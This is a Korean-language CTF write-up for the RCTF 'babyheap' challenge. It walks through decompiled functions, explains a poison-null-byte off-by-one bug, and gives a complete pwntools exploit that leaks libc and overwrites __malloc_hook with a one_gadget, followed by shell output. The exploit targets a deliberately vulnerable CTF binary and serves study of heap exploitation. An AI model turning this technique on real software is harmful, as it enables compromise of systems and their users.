본문으로 바로가기

Rctf babyheap ( write-up )

Analysis

setup()

unsigned __int64 setup()
{
 unsigned __int16 buf; // [rsp+2h] [rbp-1Eh]
 int fd; // [rsp+4h] [rbp-1Ch]
 void *addr; // [rsp+8h] [rbp-18h]
 void *check; // [rsp+10h] [rbp-10h]
 unsigned __int64 canary; // [rsp+18h] [rbp-8h]

 canary = __readfsqword(0x28u);
 num_of_chunk = 0;
 setvbuf(stdin, 0LL, 2, 0LL);
 setvbuf(stdout, 0LL, 2, 0LL);
 setvbuf(stderr, 0LL, 2, 0LL);
 fd = open("/dev/urandom", 0);
 if ( fd < 0 )
   print_error("open device error");
 buf = 0;
 if ( read(fd, &buf, 2uLL) < 0 )
   print_error("read() error");
 check = calloc(buf, 1uLL);
 if ( !check )
   print_error("memory error");
 addr = 0LL;
 read(fd, &addr, 6uLL);
 addr = (addr & 0xFFFFFFFFFFF000LL);
 heap_address = mmap(addr, 0x1000uLL, 3, 34, -1, 0LL);
 if ( !heap_address )
   print_error("memory error");
 close(fd);
 return __readfsqword(0x28u) ^ canary;
}

기본적인 설정은 이런식으로 해준다.

힙 주소를 랜덤으로 매핑해주고, 따라서 힙주소 브포가 불가능하다.

마지막으로 , 모든 함수에서 malloc말고 calloc을 사용한다.

즉, 할당하고 자동으로 0으로 초기화해주므로 UAF발생 가능성이 사라진다.


alloc()

void *sub_CCA()
{
 void *result; // rax
 unsigned __int64 i; // [rsp+8h] [rbp-18h]
 signed __int64 size; // [rsp+10h] [rbp-10h]
 void *buf; // [rsp+18h] [rbp-8h]

 if ( num_of_chunk > 0x20u )
   print_error("too many chunk");
 printf("please input chunk size: ");
 size = read_int();
 if ( size <= 0 || size > 0x100 )
   print_error("invalid size");
 buf = calloc(size, 1uLL);
 if ( !buf )
   print_error("memory error");
 printf("input chunk content: ", 1LL);
 read_str(buf, size);
 for ( i = 0LL; i <= 31 && *(8 * i + heap_address); ++i )
  ;
 if ( i == 32 )
   print_error("too many chunk");
 *(heap_address + 8 * i) = buf;
 result = &num_of_chunk;
 ++num_of_chunk;
 return result;
}

사이즈는 0x100까지 지정 가능하다.

청크는 최대 32개까지 사용 가능하며 자체 입력함수를 사용하여 취약점을 찾기 힘들다.

라고 생각할때 취약점이 발생한다.


read_str()

unsigned __int64 __fastcall read_str(__int64 buf, unsigned int size)
{
 char tmp; // [rsp+13h] [rbp-Dh]
 unsigned int i; // [rsp+14h] [rbp-Ch]
 unsigned __int64 canary; // [rsp+18h] [rbp-8h]

 canary = __readfsqword(0x28u);
 for ( i = 0; i < size; ++i )
{
   tmp = 0;
   if ( read(0, &tmp, 1uLL) < 0 )
     print_error("read() error");
   *(buf + i) = tmp;
   if ( tmp == '\n' )
     break;
}
 *(i + buf) = '\0';
 return __readfsqword(0x28u) ^ canary;
}

평범하게 한글자씩 입력받고 개행들어가면 끝내주고 이러는거 같다.

하지만, 문자열의 끝이 개행이 아니라면 끝까지 NULL이 들어가지 않는다.

즉, 청크를 0x28,0x48이런식으로 꽈아아아악 채워서 입력하면 prev_size까지 덮어지고 그 다음에 NULL이 들어가는데, 여기서 posion null byte취약점이 발생한다.


show()

int sub_E0C()
{
 int result; // eax
 int v1; // [rsp+4h] [rbp-Ch]
 __int64 v2; // [rsp+8h] [rbp-8h]

 printf("please input chunk index: ");
 v1 = read_int();
 if ( v1 < 0 || v1 > 31 )
   print_error("invalid index");
 v2 = *(8LL * v1 + heap_address);
 if ( v2 )
   result = printf("content: %s\n", v2);
 else
   result = puts("no such a chunk");
 return result;
}

평-범한 출력 함수이다.


delete()

_QWORD *sub_E9F()
{
 signed __int64 v0; // rdx
 _QWORD *result; // rax
 int v2; // [rsp+4h] [rbp-Ch]
 void *ptr; // [rsp+8h] [rbp-8h]

 printf("please input chunk index: ");
 v2 = read_int();
 if ( v2 < 0 || v2 > 31 )
   print_error("invalid index");
 v0 = 8LL * v2;
 result = *(v0 + heap_address);
 ptr = *(v0 + heap_address);
 if ( ptr )
{
   --num_of_chunk;
   free(ptr);
   result = (8LL * v2 + heap_address);
   *result = 0LL;
}
 return result;
}

취약점 방어를 정말 깔끔하게 해놨다.

free할때 전역변수에 NULL을 넣어준다.


Exploit

from pwn import *

context.log_level = "debug"

binary = "./babyheap"
e = ELF(binary)
libc = e.libc
r = process(binary,aslr=True)

def alloc(size,content):
    r.sendafter("choice: ","1")
    r.sendafter("size: ",str(size))
    r.sendlineafter("content: ",content)

def show(index):
    r.sendafter("choice: ","2")
    r.sendafter("index: ",str(index))

def delete(index):
    r.sendafter("choice: ","3")
    r.sendafter("index: ",str(index))

alloc(0x80,"A"*0x80) #0
alloc(0x100,"B"*0x100) #0,1
alloc(0x80,"C"*0x80) #0,1,2

delete(0) #1,2
delete(1) #2

alloc(0x88,"X"*0x88) #0,2
alloc(0x80,"Y"*0x80) #0,1,2
alloc(0x60,"Z"*0x60) #0,1,2,3

delete(1) #0,2,3
delete(2) #0,3

alloc(0x80,"1"*0x80) #0,1,3
alloc(0x80,"2"*0x80) #0,1,2,3
alloc(0x80,"3"*0x80) #0,1,2,3,4

delete(3) #0,1,2,4

show(2)
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= 0x3c4b20 + 88
log.info("libc_base : " + hex(libc_base))

alloc(0x60,"4"*0x60) #0,1,2,3,4
alloc(0x60,"5"*0x60) #0,1,2,3,4,5

delete(3)
delete(5)
delete(2)

alloc(0x60,p64(libc_base + libc.sym["__malloc_hook"] - 0x23))
alloc(0x60,"6"*0x60)
alloc(0x60,"7"*0x60)
alloc(0x60,"8"*0x13 + p64(libc_base + 0x4526a))

r.interactive()

일단 posion null byte를 트리거 해야 한다.


alloc(0x80,"A"*0x80)    #0
alloc(0x100,"B"*0x100) #0,1
alloc(0x80,"C"*0x80) #0,1,2

delete(0) #1,2
delete(1) #2

alloc(0x88,"X"*0x88) #0,2
alloc(0x80,"Y"*0x80) #0,1,2
alloc(0x60,"Z"*0x60) #0,1,2,3

alloc(0x88,"X"*0x88)요렇게 넣어서 트리거 해준다.

그리고 나서 0x80,0x60이렇게 넣어서 free된 부분 꽉꽉 채워준다.


delete(1)   #0,2,3
delete(2) #0,3

alloc(0x80,"1"*0x80) #0,1,3
alloc(0x80,"2"*0x80) #0,1,2,3
alloc(0x80,"3"*0x80) #0,1,2,3,4

delete(3) #0,1,2,4

힙 앞쪽 부분 다시 지우고 0x80크기의 청크 3개를 다시 할당해준다.


이제 delete 3을 한다.

그리고 show 2를하면 libc_baseleak이 된다.

이 과정이 posion null byte로 청크를 꼬아서 index 2index 3이 동일한 부분을 가르키게 하는 부분이다.

이제 fast bin dup도 마찬가지로 해주면 된다!


show(2)
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= 0x3c4b20 + 88
log.info("libc_base : " + hex(libc_base))

alloc(0x60,"4"*0x60) #0,1,2,3,4
alloc(0x60,"5"*0x60) #0,1,2,3,4,5

delete(3)
delete(5)
delete(2)

alloc(0x60,p64(libc_base + libc.sym["__malloc_hook"] - 0x23))
alloc(0x60,"6"*0x60)
alloc(0x60,"7"*0x60)
alloc(0x60,"8"*0x13 + p64(libc_base + 0x4526a))

r.interactive()

끗!


Shell

juntae@ubuntu:~/ctf/Rctf/babyheap$ p ex.py 
[*] '/home/juntae/ctf/Rctf/babyheap/babyheap'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Starting local process './babyheap': pid 6329
[*] libc_base : 0x7fc8a5d1a000
[*] Switching to interactive mode
1. Alloc
2. Show
3. Delete
4. Exit
choice: $ 1
please input chunk size: $ 32
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)